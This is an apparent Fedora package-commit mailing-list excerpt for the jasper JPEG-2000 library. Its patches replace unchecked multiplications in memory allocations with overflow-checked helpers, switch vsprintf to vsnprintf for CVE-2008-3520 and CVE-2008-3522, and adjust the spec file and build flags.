-	if (!(tcmpt->rlvls = jas_malloc(tcmpt->numrlvls * sizeof(jpc_enc_rlvl_t)))) {
+	if (!(tcmpt->rlvls = jas_alloc2(tcmpt->numrlvls, sizeof(jpc_enc_rlvl_t)))) {
 		goto error;
 	}
 	for (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;
@@ -2213,7 +2213,7 @@ static jpc_enc_rlvl_t *rlvl_create(jpc_e
 	rlvl->numvprcs = JPC_FLOORDIVPOW2(brprcbry - tlprctly, rlvl->prcheightexpn);
 	rlvl->numprcs = rlvl->numhprcs * rlvl->numvprcs;
 
-	if (!(rlvl->bands = jas_malloc(rlvl->numbands * sizeof(jpc_enc_band_t)))) {
+	if (!(rlvl->bands = jas_alloc2(rlvl->numbands, sizeof(jpc_enc_band_t)))) {
 		goto error;
 	}
 	for (bandno = 0, band = rlvl->bands; bandno < rlvl->numbands;
@@ -2290,7 +2290,7 @@ if (bandinfo->xstart != bandinfo->xend &
 	band->synweight = bandinfo->synenergywt;
 
 if (band->data) {
-	if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_enc_prc_t)))) {
+	if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_enc_prc_t)))) {
 		goto error;
 	}
 	for (prcno = 0, prc = band->prcs; prcno < rlvl->numprcs; ++prcno,
@@ -2422,7 +2422,7 @@ if (!rlvlno) {
 			goto error;
 		}
 
-		if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_enc_cblk_t)))) {
+		if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_enc_cblk_t)))) {
 			goto error;
 		}
 		for (cblkno = 0, cblk = prc->cblks; cblkno < prc->numcblks;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqdec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqdec.c	2009-10-22 10:27:45.000000000 +0200
@@ -118,7 +118,7 @@ jpc_mqdec_t *jpc_mqdec_create(int maxctx
 	mqdec->in = in;
 	mqdec->maxctxs = maxctxs;
 	/* Allocate memory for the per-context state information. */
-	if (!(mqdec->ctxs = jas_malloc(mqdec->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqdec->ctxs = jas_alloc2(mqdec->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 	/* Set the current context to the first context. */
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_mqenc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_mqenc.c	2009-10-22 10:27:45.000000000 +0200
@@ -197,7 +197,7 @@ jpc_mqenc_t *jpc_mqenc_create(int maxctx
 	mqenc->maxctxs = maxctxs;
 
 	/* Allocate memory for the per-context state information. */
-	if (!(mqenc->ctxs = jas_malloc(mqenc->maxctxs * sizeof(jpc_mqstate_t *)))) {
+	if (!(mqenc->ctxs = jas_alloc2(mqenc->maxctxs, sizeof(jpc_mqstate_t *)))) {
 		goto error;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_qmfb.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_qmfb.c	2009-10-22 10:27:45.000000000 +0200
@@ -321,7 +321,7 @@ void jpc_qmfb_split_row(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -389,7 +389,7 @@ void jpc_qmfb_split_col(jpc_fix_t *a, in
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -460,7 +460,7 @@ void jpc_qmfb_split_colgrp(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -549,7 +549,7 @@ void jpc_qmfb_split_colres(jpc_fix_t *a,
 #if !defined(HAVE_VLA)
 	/* Get a buffer. */
 	if (bufsize > QMFB_SPLITBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide in this case. */
 			abort();
 		}
@@ -633,7 +633,7 @@ void jpc_qmfb_join_row(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -698,7 +698,7 @@ void jpc_qmfb_join_col(jpc_fix_t *a, int
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -766,7 +766,7 @@ void jpc_qmfb_join_colgrp(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc2(bufsize, JPC_QMFB_COLGRPSIZE * sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
@@ -852,7 +852,7 @@ void jpc_qmfb_join_colres(jpc_fix_t *a, 
 #if !defined(HAVE_VLA)
 	/* Allocate memory for the join buffer from the heap. */
 	if (bufsize > QMFB_JOINBUFSIZE) {
-		if (!(buf = jas_malloc(bufsize * numcols * sizeof(jpc_fix_t)))) {
+		if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
 			/* We have no choice but to commit suicide. */
 			abort();
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t1enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t1enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -219,7 +219,7 @@ int jpc_enc_enccblk(jpc_enc_t *enc, jas_
 
 	cblk->numpasses = (cblk->numbps > 0) ? (3 * cblk->numbps - 2) : 0;
 	if (cblk->numpasses > 0) {
-		cblk->passes = jas_malloc(cblk->numpasses * sizeof(jpc_enc_pass_t));
+		cblk->passes = jas_alloc2(cblk->numpasses, sizeof(jpc_enc_pass_t));
 		assert(cblk->passes);
 	} else {
 		cblk->passes = 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2cod.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -573,7 +573,7 @@ int jpc_pchglist_insert(jpc_pchglist_t *
 	}
 	if (pchglist->numpchgs >= pchglist->maxpchgs) {
 		newmaxpchgs = pchglist->maxpchgs + 128;
-		if (!(newpchgs = jas_realloc(pchglist->pchgs, newmaxpchgs * sizeof(jpc_pchg_t *)))) {
+		if (!(newpchgs = jas_realloc2(pchglist->pchgs, newmaxpchgs, sizeof(jpc_pchg_t *)))) {
 			return -1;
 		}
 		pchglist->maxpchgs = newmaxpchgs;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -478,7 +478,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		return 0;
 	}
 	pi->numcomps = dec->numcomps;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -490,7 +490,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 	for (compno = 0, tcomp = tile->tcomps, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -503,7 +503,7 @@ jpc_pi_t *jpc_dec_pi_create(jpc_dec_t *d
 		  rlvlno < picomp->numrlvls; ++rlvlno, ++pirlvl, ++rlvl) {
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
-			if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+			if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 			  sizeof(long)))) {
 				jpc_pi_destroy(pi);
 				return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_t2enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_t2enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -565,7 +565,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	}
 	pi->pktno = -1;
 	pi->numcomps = cp->numcmpts;
-	if (!(pi->picomps = jas_malloc(pi->numcomps * sizeof(jpc_picomp_t)))) {
+	if (!(pi->picomps = jas_alloc2(pi->numcomps, sizeof(jpc_picomp_t)))) {
 		jpc_pi_destroy(pi);
 		return 0;
 	}
@@ -577,7 +577,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 	for (compno = 0, tcomp = tile->tcmpts, picomp = pi->picomps;
 	  compno < pi->numcomps; ++compno, ++tcomp, ++picomp) {
 		picomp->numrlvls = tcomp->numrlvls;
-		if (!(picomp->pirlvls = jas_malloc(picomp->numrlvls *
+		if (!(picomp->pirlvls = jas_alloc2(picomp->numrlvls,
 		  sizeof(jpc_pirlvl_t)))) {
 			jpc_pi_destroy(pi);
 			return 0;
@@ -591,7 +591,7 @@ jpc_pi_t *jpc_enc_pi_create(jpc_enc_cp_t
 /* XXX sizeof(long) should be sizeof different type */
 			pirlvl->numprcs = rlvl->numprcs;
 			if (rlvl->numprcs) {
-				if (!(pirlvl->prclyrnos = jas_malloc(pirlvl->numprcs *
+				if (!(pirlvl->prclyrnos = jas_alloc2(pirlvl->numprcs,
 				  sizeof(long)))) {
 					jpc_pi_destroy(pi);
 					return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_tagtree.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_tagtree.c	2009-10-22 10:27:45.000000000 +0200
@@ -125,7 +125,7 @@ jpc_tagtree_t *jpc_tagtree_create(int nu
 		++numlvls;
 	} while (n > 1);
 
-	if (!(tree->nodes_ = jas_malloc(tree->numnodes_ * sizeof(jpc_tagtreenode_t)))) {
+	if (!(tree->nodes_ = jas_alloc2(tree->numnodes_, sizeof(jpc_tagtreenode_t)))) {
 		return 0;
 	}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c jasper-1.900.1/src/libjasper/jpc/jpc_util.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_util.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_util.c	2009-10-22 10:27:45.000000000 +0200
@@ -109,7 +109,7 @@ int jpc_atoaf(char *s, int *numvalues, d
 	}
 
 	if (n) {
-		if (!(vs = jas_malloc(n * sizeof(double)))) {
+		if (!(vs = jas_alloc2(n, sizeof(double)))) {
 			return -1;
 		}
 
diff -pruN jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c jasper-1.900.1/src/libjasper/mif/mif_cod.c
--- jasper-1.900.1.orig/src/libjasper/mif/mif_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/mif/mif_cod.c	2009-10-22 10:27:45.000000000 +0200
@@ -438,8 +438,7 @@ static int mif_hdr_growcmpts(mif_hdr_t *
 	int cmptno;
 	mif_cmpt_t **newcmpts;
 	assert(maxcmpts >= hdr->numcmpts);
-	newcmpts = (!hdr->cmpts) ? jas_malloc(maxcmpts * sizeof(mif_cmpt_t *)) :
-	  jas_realloc(hdr->cmpts, maxcmpts * sizeof(mif_cmpt_t *));
+	newcmpts = jas_realloc2(hdr->cmpts, maxcmpts, sizeof(mif_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}

jasper-1.900.1-CVE-2008-3522.patch:
 jas_stream.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3522.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:35:53.000000000 +0200
@@ -553,7 +553,7 @@ int jas_stream_printf(jas_stream_t *stre
 	int ret;
 
 	va_start(ap, fmt);
-	ret = vsprintf(buf, fmt, ap);
+	ret = vsnprintf(buf, sizeof buf, fmt, ap);
 	jas_stream_puts(stream, buf);
 	va_end(ap);
 	return ret;

jasper-1.701.0-GL-ac.patch:
 configure.ac |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL-ac.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-11/jasper-1.701.0-GL-ac.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- jasper-1.701.0-GL-ac.patch	1 Mar 2006 18:16:10 -0000	1.1
+++ jasper-1.701.0-GL-ac.patch	26 Oct 2009 16:48:19 -0000	1.2
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		AC_CHECK_LIB(glut, glutInit, [HAVE_OPENGL=yes;
  		  OPENGL_LIBS=$TMPLIBS], HAVE_OPENGL=no, $TMPLIBS)
  	fi

jasper-1.701.0-GL.patch:
 configure |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: jasper-1.701.0-GL.patch
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-11/jasper-1.701.0-GL.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- jasper-1.701.0-GL.patch	1 Mar 2006 18:12:26 -0000	1.4
+++ jasper-1.701.0-GL.patch	26 Oct 2009 16:48:19 -0000	1.5
@@ -5,7 +5,7 @@
  if test $ENABLE_OPENGL = yes; then
  	if test $HAVE_OPENGL = no; then
 -		TMPLIBS="-lglut -lGL -lGLU $X_PRE_LIBS -lX11 -lXmu -lXi -lXext -lXt $X_EXTRA_LIBS $X_LIBS"
-+		TMPLIBS="-lglut"
++		TMPLIBS="-lglut -lGLU"
  		echo "$as_me:$LINENO: checking for glutInit in -lglut" >&5
  echo $ECHO_N "checking for glutInit in -lglut... $ECHO_C" >&6
  if test "${ac_cv_lib_glut_glutInit+set}" = set; then


Index: jasper.spec
===================================================================
RCS file: /cvs/pkgs/rpms/jasper/F-11/jasper.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- jasper.spec	25 Feb 2009 08:57:53 -0000	1.32
+++ jasper.spec	26 Oct 2009 16:48:19 -0000	1.33
@@ -7,7 +7,7 @@ Summary: Implementation of the JPEG-2000
 Name:    jasper
 Group:   System Environment/Libraries
 Version: 1.900.1
-Release: 10%{?dist}
+Release: 13%{?dist}
 
 License: JasPer
 URL:     http://www.ece.uvic.ca/~mdadams/jasper/
@@ -22,12 +22,17 @@ Patch2: jasper-1.701.0-GL-ac.patch
 Patch3: patch-libjasper-stepsizes-overflow.diff
 # borrowed from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=469786 
 Patch4: jpc_dec.c.patch
-
+# OpenBSD hardening patches addressing couple of possible integer overflows
+# during the memory allocations
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520
+Patch5: jasper-1.900.1-CVE-2008-3520.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3522
+Patch6: jasper-1.900.1-CVE-2008-3522.patch
 
 BuildRequires: automake 
 BuildRequires: libjpeg-devel
-# "freeglut-devel: Requires: libGL-devel libGLU-devel" (#179464)
-BuildRequires: freeglut-devel libGL-devel libGLU-devel
+BuildRequires: freeglut-devel 
+BuildRequires: libGLU-devel
 
 Requires: %{name}-libs = %{version}-%{release}
 
@@ -48,6 +53,7 @@ Requires: libjpeg-devel
 %package libs 
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
+Conflicts: jasper < 1.900.1-4
 %description libs 
 %{summary}.
 
@@ -66,6 +72,8 @@ Requires: %{name} = %{version}-%{release
 %patch1 -p1 -b .GL
 %patch3 -p1 -b .CVE-2007-2721
 %patch4 -p1 -b .jpc_dec_assertion
+%patch5 -p1 -b .CVE-2008-3520
+%patch6 -p1 -b .CVE-2008-3522
 
 
 %build
@@ -127,6 +135,17 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
+- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
+- CVE-2008-3522 jasper: possible buffer overflow in 
+  jas_stream_printf() (#461478)
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-12
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Sat Jul 18 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-11
+- FTBFS jasper-1.900.1-10.fc11 (#511743)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.900.1-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From rdieter at fedoraproject.org  Mon Oct 26 16:48:54 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Mon, 26 Oct 2009 16:48:54 +0000 (UTC)
Subject: rpms/jasper/F-10 jasper-1.900.1-CVE-2008-3520.patch, NONE,
	1.1 jasper-1.900.1-CVE-2008-3522.patch, NONE,
	1.1 jasper-1.701.0-GL-ac.patch, 1.1, 1.2 jasper-1.701.0-GL.patch,
	1.4, 1.5 jasper.spec, 1.31, 1.32
Message-ID: <20091026164854.C8D5B11C0268@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/jasper/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31532

Modified Files:
	jasper-1.701.0-GL-ac.patch jasper-1.701.0-GL.patch jasper.spec 
Added Files:
	jasper-1.900.1-CVE-2008-3520.patch 
	jasper-1.900.1-CVE-2008-3522.patch 
Log Message:
* Mon Oct 13 2009 Rex Dieter <rdieter at fedoraproject.org> - 1.900.1-13
- CVE-2008-3520 jasper: multiple integer overflows in jas_alloc calls (#461476)
- CVE-2008-3522 jasper: possible buffer overflow in 
  jas_stream_printf() (#461478)


jasper-1.900.1-CVE-2008-3520.patch:
 base/jas_cm.c               |   11 ++++-----
 base/jas_icc.c              |   39 +++++++++++++++++------------------
 base/jas_image.c            |    5 +---
 base/jas_malloc.c           |   49 +++++++++++++++++++++++++++++++++++++-------
 base/jas_seq.c              |    6 ++---
 base/jas_stream.c           |    4 +--
 bmp/bmp_dec.c               |    2 -
 include/jasper/jas_malloc.h |    9 ++++++++
 jp2/jp2_cod.c               |   14 ++++++------
 jp2/jp2_dec.c               |    4 +--
 jp2/jp2_enc.c               |    4 +--
 jpc/jpc_cs.c                |   14 ++++++------
 jpc/jpc_dec.c               |   27 +++++++++++-------------
 jpc/jpc_enc.c               |   20 ++++++++---------
 jpc/jpc_mqdec.c             |    2 -
 jpc/jpc_mqenc.c             |    2 -
 jpc/jpc_qmfb.c              |   16 +++++++-------
 jpc/jpc_t1enc.c             |    2 -
 jpc/jpc_t2cod.c             |    2 -
 jpc/jpc_t2dec.c             |    6 ++---
 jpc/jpc_t2enc.c             |    6 ++---
 jpc/jpc_tagtree.c           |    2 -
 jpc/jpc_util.c              |    2 -
 mif/mif_cod.c               |    3 --
 24 files changed, 145 insertions(+), 106 deletions(-)

--- NEW FILE jasper-1.900.1-CVE-2008-3520.patch ---
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2008-3520

OpenBSD jas_malloc hardening patches

diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_cm.c jasper-1.900.1/src/libjasper/base/jas_cm.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_cm.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_cm.c	2009-10-22 10:27:45.000000000 +0200
@@ -704,8 +704,7 @@ static int jas_cmpxformseq_resize(jas_cm
 {
 	jas_cmpxform_t **p;
 	assert(n >= pxformseq->numpxforms);
-	p = (!pxformseq->pxforms) ? jas_malloc(n * sizeof(jas_cmpxform_t *)) :
-	  jas_realloc(pxformseq->pxforms, n * sizeof(jas_cmpxform_t *));
+	p = jas_realloc2(pxformseq->pxforms, n, sizeof(jas_cmpxform_t *));
 	if (!p) {
 		return -1;
 	}
@@ -889,13 +888,13 @@ static int jas_cmshapmatlut_set(jas_cmsh
 	jas_cmshapmatlut_cleanup(lut);
 	if (curv->numents == 0) {
 		lut->size = 2;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		lut->data[0] = 0.0;
 		lut->data[1] = 1.0;
 	} else if (curv->numents == 1) {
 		lut->size = 256;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		gamma = curv->ents[0] / 256.0;
 		for (i = 0; i < lut->size; ++i) {
@@ -903,7 +902,7 @@ static int jas_cmshapmatlut_set(jas_cmsh
 		}
 	} else {
 		lut->size = curv->numents;
-		if (!(lut->data = jas_malloc(lut->size * sizeof(jas_cmreal_t))))
+		if (!(lut->data = jas_alloc2(lut->size, sizeof(jas_cmreal_t))))
 			goto error;
 		for (i = 0; i < lut->size; ++i) {
 			lut->data[i] = curv->ents[i] / 65535.0;
@@ -953,7 +952,7 @@ static int jas_cmshapmatlut_invert(jas_c
 			return -1;
 		}
 	}
-	if (!(invlut->data = jas_malloc(n * sizeof(jas_cmreal_t))))
+	if (!(invlut->data = jas_alloc2(n, sizeof(jas_cmreal_t))))
 		return -1;
 	invlut->size = n;
 	for (i = 0; i < invlut->size; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_icc.c jasper-1.900.1/src/libjasper/base/jas_icc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_icc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_icc.c	2009-10-22 10:27:45.000000000 +0200
@@ -373,7 +373,7 @@ int jas_iccprof_save(jas_iccprof_t *prof
 	jas_icctagtab_t *tagtab;
 
 	tagtab = &prof->tagtab;
-	if (!(tagtab->ents = jas_malloc(prof->attrtab->numattrs *
+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
